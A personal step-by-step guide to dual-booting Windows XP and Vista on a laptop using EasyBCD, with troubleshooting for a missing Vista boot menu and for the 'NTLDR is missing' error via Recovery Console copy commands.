1. I change BIOS settings to boot from CD. (Done by press F2, F12, DEL or any depending on type of the laptop).
2. Put the CD in, so that you will boot from CD, e.g : “Press Any Key To Boot From CD…”. Press any button will begin the boot CD process.
3. Press F6 if you have SATA drives in the laptop, as for F80S, is it SATA type HDD, somehow, a message appeared no SATA drive found. So I begin the installation with F8 to agree the terms of installation.
4. You will be presented with hard drive list and partition. Select the partition with 30Gb (29999kb) size and press enter on it to make installation into this drive with NTFS system.
5. Once XP setup finish, you have to download and install the Microsoft .NET 2.0 Framework.
6. Download and install the latest version of EasyBCD.
7. Both program above is installed in fresh WinXP, run EasyBCD (in WinXP) program go to the "Manage Bootloader" page, and select "Reinstall the Vista Bootloader" then "Write MBR" to get the Vista bootloader back.
8. Once that's done, head on to the "Add/Remove Entries" page and select "Windows NT/2k/XP/2003" from the drop-down list, give it a name (I put Microsoft Windows XP), then press "Add Entry" to finish.
9. Reboot and enjoy your dual windows boot.

What happen if I load straight to Vista without presented to Windows Boot Loader at first?
-Continue boot into your Vista, head to D: where WinXP installed to, go to Program Files > NeoSmart Technology > EasyBCD > EasyBCD.exe to load the program. Now, repeat the step 7 & 8 above and reboot your Vista.

I manage to get Windows Boot Loader, somehow when I choose to boot into WinXP, it says /NTLDR is missing?
-Follow these steps :
1. Insert the Windows CD and start the computer.
2. When the Welcome to Setup screen appears, press R (repair).
3. Type a number corresponding to the Windows installation you wish to repair (usually 1 but it is 2 for me) and press Enter.
4. When prompted, type the administrator password and press Enter.
5. From the command prompt, copy NTLDR and NTDETECT.COM from the i386 folder of the CD to the root folder of the hard drive. In the example commands given below, D: is the hard drive where WinXP installed in and F: is the CD-ROM drive. You will need to change the drive letters if appropriate:
COPY F:\I386\NTLDR D:\
COPY F:\I386\NTDETECT.COM D:\
6.Remove the Windows XP CD from the drive and restart the computer.